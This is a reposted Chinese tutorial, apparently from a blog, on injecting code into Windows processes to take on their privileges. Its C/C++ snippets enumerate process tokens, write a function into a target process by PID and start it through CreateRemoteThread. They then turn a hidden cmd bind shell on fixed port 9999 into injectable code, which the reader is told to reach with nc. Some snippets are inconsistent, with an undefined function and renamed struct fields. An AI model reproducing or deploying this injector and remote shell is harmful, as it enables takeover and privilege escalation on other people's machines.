C/C++ 進程代碼注入與提權/降權


如果將shellcode注入到具有特定權限的進程中,我們就可以獲得與該進程相同的權限,此方法可以用於提權與降權操作,注入有多種方式,最簡單的是直接將metasploit生成的有效載荷直接注入到目標進程中,並通過創建遠程線程啟動,還可以自己實現一個注入器,這里我們自己來實現一個提權器,可提權也可降權。

PE工具下載與使用: https://www.cnblogs.com/LyShark/p/12960816.html

枚舉系統進程,與進程權限令牌等。

#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

// 通過進程Token獲取進程權限類型
void __stdcall EnumOwner(HANDLE htoken)
{
	DWORD dwLen;
	PSID pSid = 0;
	TOKEN_USER *pWork;
	SID_NAME_USE use;
	TCHAR User[256], Domain[256];

	GetTokenInformation(htoken, TokenUser, NULL, 0, &dwLen);
	pWork = (TOKEN_USER *)LocalAlloc(LMEM_ZEROINIT, dwLen);
	if (GetTokenInformation(htoken, TokenUser, pWork, dwLen, &dwLen))
	{
		dwLen = GetLengthSid(pWork->User.Sid);
		pSid = (PSID)LocalAlloc(LMEM_ZEROINIT, dwLen);
		CopySid(dwLen, pSid, pWork->User.Sid);
		dwLen = 256;
		LookupAccountSid(NULL, pSid, &User[0], &dwLen, &Domain[0], &dwLen, &use);
		printf("\t 權限類型 => %s : %s ", Domain, User);
	}
}

// 枚舉系統中進程的令牌權限信息
int enumprocess()
{
	HANDLE SnapShot, ProcessHandle, hToken;
	PROCESSENTRY32 pe32;

	// 拍攝快照
	SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	pe32.dwSize = sizeof(PROCESSENTRY32);

	if (Process32First(SnapShot, &pe32) == FALSE)
		return 0;

	while (1)
	{
		if (Process32Next(SnapShot, &pe32) == FALSE)
			return 0;
		
		printf("PID => %6i \t 進程名 => %-20s \t 線程數 => %3i", pe32.th32ProcessID, pe32.szExeFile, pe32.cntThreads);
		// 獲取特定進程權限等
		ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pe32.th32ProcessID);
		if (ProcessHandle != NULL)
		{
			if (OpenProcessToken(ProcessHandle, TOKEN_QUERY, &hToken))
			{
				EnumOwner(hToken);
				CloseHandle(hToken);
				CloseHandle(ProcessHandle);
			}
		}
		printf("\n");
	}
	return 1;
}

int main(int argc, char * argv[])
{
	ExtractProcessTokens();
	system("pause");
	return 0;
}

枚舉線程權限類型

// 枚舉特定進程中線程的Token值
int enumtoken(DWORD dwPID)
{
	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
	THREADENTRY32 te32;

	if ((hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)) != INVALID_HANDLE_VALUE)
	{
		te32.dwSize = sizeof(THREADENTRY32);
		if (Thread32First(hThreadSnap, &te32))
		{
			do
			{
				HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, te32.th32ThreadID);
				if (hThread != NULL)
				{
					HANDLE hToken;
					OpenThreadToken(hThread, TOKEN_QUERY, TRUE, &hToken);
					EnumOwner(hToken);
					CloseHandle(hToken);
				}
				
			} while (Thread32Next(hThreadSnap, &te32));
		}
	}
	return TRUE;
}

手工獲取函數地址 第一步,手動獲取到kernel32.dll地址,與GetProcaddress地址,然后就可以動態獲取到任意函數的地址,先定義數據結構

typedef struct _ShellBase
{
	// 針對Kernel32的操作
	HANDLE KernelHandle;
	char kernelstring[20]; // kernel32.dll
	LOADLIBRARY KernelLoadLibrary;
	GETPROCADDRESS KernelGetProcAddress;

	// 針對User32的操作
	HANDLE UserHandle;
	char userstring[20];   // user32.dll
}ShellParametros;

然后,主函數獲取地址,並寫入全局結構體。

int main(int argc, char * argv[])
{
	ShellParametros Param;
	// 得到加載基地址的工具函數
	Param.KernelHandle = LoadLibrary("kernel32.dll");
	Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");
	Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");
	printf("獲取到Kernel32.dll = %x", Param.KernelHandle);

	// 分別獲取Kernel32與User32的對應字符串
	strcpy(Param.kernelstring, "kernel32.dll");
	strcpy(Param.userstring, "user32.dll");
	system("pause");
	return 0;
}

查詢彈窗定義。

WINUSERAPI
int
WINAPI
MessageBoxA(
    _In_opt_ HWND hWnd,
    _In_opt_ LPCSTR lpText,
    _In_opt_ LPCSTR lpCaption,
    _In_ UINT uType);

頭部聲明

// Kernel32 調用約定定義
typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);

// User32調用約定定義
typedef int(WINAPI *MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

獲取地址,並轉為MESSAGEBOX指針。

void __stdcall MyShell(ShellParametros *ptr)
{
	ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
	ptr->UserHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->userstring);

	printf("動態獲取到Kernel32基地址 = %x \n", ptr->KernelHandle);
	printf("動態獲取到User32基地址 = %x \n", ptr->UserHandle);

	MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");
	printf("%x \n", msgbox);
	msgbox(0, 0, 0, 0);
}

調用

注入目標進程,需要獲得字符串,該字符串要存儲到內存中,修改.

MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");

typedef struct _ShellBase
{
	// 針對Kernel32的操作
	HANDLE KernelHandle;
	char kernelstring[20]; // kernel32.dll
	LOADLIBRARY KernelLoadLibrary;
	GETPROCADDRESS KernelGetProcAddress;

	// 針對User32的操作
	HANDLE UserHandle;
	char userstring[20];   // user32.dll
	char msgbox[20];

}ShellParametros;

MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, ptr->msgbox);

將代碼注入到目標進程中,彈窗提示一下,開辟遠程線程。

int main(int argc, char * argv[])
{
	ShellParametros Param, *remote = NULL;
	HANDLE hProcess;
	void *p = NULL;
	
	// 得到加載基地址的工具函數
	Param.Kernel32Base = LoadLibrary("kernel32.dll");
	Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
	Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
	// printf("獲取到Kernel32.dll = %x", Param.KernelHandle);

	// 分別獲取Kernel32與User32的對應字符串
	strcpy(Param.KernelString, "kernel32.dll");
	strcpy(Param.UserString, "user32.dll");

	strcpy(Param.User_MsgBox, "MessageBoxA");
	strcpy(Param.Text, "hello lyshark");

	// 根據PID注入代碼到指定進程中
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 17508);
	p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	remote = (ShellParametros *)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
	WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
	CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall *)(void *)) p, remote, 0, 0);
	return 0;
}

實現CMDShell 以下代碼可實現正向cmdshell,我們將其改進一下,讓其支持動態獲取地址。

#include <winsock2.h>
#define Port 9999
#pragma comment(lib,"ws2_32.lib")

int main()
{
	SOCKET sSocket, cSocket;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	WSADATA wsaData;
	sockaddr_in sSockaddr;
	char szCmdPath[MAX_PATH];

	GetEnvironmentVariableA("COMSPEC", szCmdPath, MAX_PATH);

	WSAStartup(0x0202, &wsaData);
	cSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	sSockaddr.sin_addr.s_addr = INADDR_ANY;
	sSockaddr.sin_family = AF_INET;
	sSockaddr.sin_port = htons(Port);
	bind(cSocket, (sockaddr*)&sSockaddr, sizeof(sSockaddr));
	listen(cSocket, 1);

	int sLen = sizeof(sSockaddr);
	sSocket = accept(cSocket, (sockaddr*)&sSockaddr, &sLen);
	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.hStdInput = (HANDLE)sSocket;
	si.hStdOutput = (HANDLE)sSocket;
	si.hStdError = (HANDLE)sSocket;
	CreateProcessA(NULL, szCmdPath, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);
	WSACleanup();

	return 0;
}

依次驗證常用函數所在動態鏈接庫,就調用了2個庫,好,我們繼續寫。

上方的代碼就是一個正向CMDshell,我們將其寫成自定位代碼即可,首先定義需要用得到的指針。

// 定義各種指針變量
typedef HMODULE(WINAPI *LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI *GETPROCADDRESS) (HMODULE, LPCSTR);

typedef int (WINAPI *BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI *ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI *LISTEN) (SOCKET, int);
typedef int (WINAPI *WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI *WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI *WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI * CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, 
	DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);

main函數中向結構體中拷貝數據

	memset((void *)&parametros, 0, sizeof(PARAMETROS));
	strncpy(parametros.cmd, "cmd", 2);
	parametros.port = htons((unsigned short)9999);

	// 獲取到動態鏈接庫加載函數地址
	parametros.KernelHandle = LoadLibrary("kernel32.dll");
	parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");
	parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");

	// 拷貝 winsock 字符串
	strcpy(parametros.wsastring, "ws2_32.dll");
	strcpy(parametros.wsastartupstring, "WSAStartup");
	strcpy(parametros.WSASocketString, "WSASocketW");
	strcpy(parametros.WSAConnectstring, "WSAConnect");
	strcpy(parametros.bindstring, "bind");
	strcpy(parametros.acceptstring, "accept");
	strcpy(parametros.listenstring, "listen");

	// 拷貝 kernel32 字符串
	strcpy(parametros.kernelstring, "kernel32.dll");
	strcpy(parametros.CreateProcessstring, "CreateProcessA");

調用shell代碼,代碼先執行動態獲取API地址,然后動態調用。

// 調用的遠程Shell代碼
void __stdcall MyShell(PARAMETROS *ptr)
{
	// 通過GetProcAddress獲取到ws2.dll中的所有函數地址
	ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);
	ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);
	ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);
	ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);
	ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);
	ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);
	ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);

	// 通過GetProcAddress獲取到kernel32.dll中的所有函數地址
	ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);
	ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);
	ptr->ShellWsaStartup(0x101, &HWSAdata);
	s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
	sa.sin_family = AF_INET;
	sa.sin_port = ptr->port;
	sa.sin_addr.s_addr = 0;
	ptr->ShellBind(s, (struct sockaddr *) &sa, 16);
	ptr->ShellListen(s, 1);
	
	while (1)
	{
		n = ptr->ShellAccept(s, (struct sockaddr *)&sa, NULL);
		si.cb = sizeof(si);
		si.wShowWindow = SW_HIDE;
		si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
		si.hStdInput = si.hStdOutput = si.hStdError = (void *)n;
		si.lpDesktop = si.lpTitle = (char *)0x0000;
		si.lpReserved2 = NULL;
		ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);
	}
}

最后,主函數開辟遠程線程,即可完成權限提升,下載地址中包括32與64兩個版本,不同版本對應不同位數。

首先使用注入器注入一個正在運行的進程,參數為PID

使用NC直接連接進去,即可獲取到,與注入進程相同的權限,端口寫死了9999

如果目標進程開啟了,動態地址,ASLR,等則注入會失敗,程序崩潰,這里需要注意一下。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM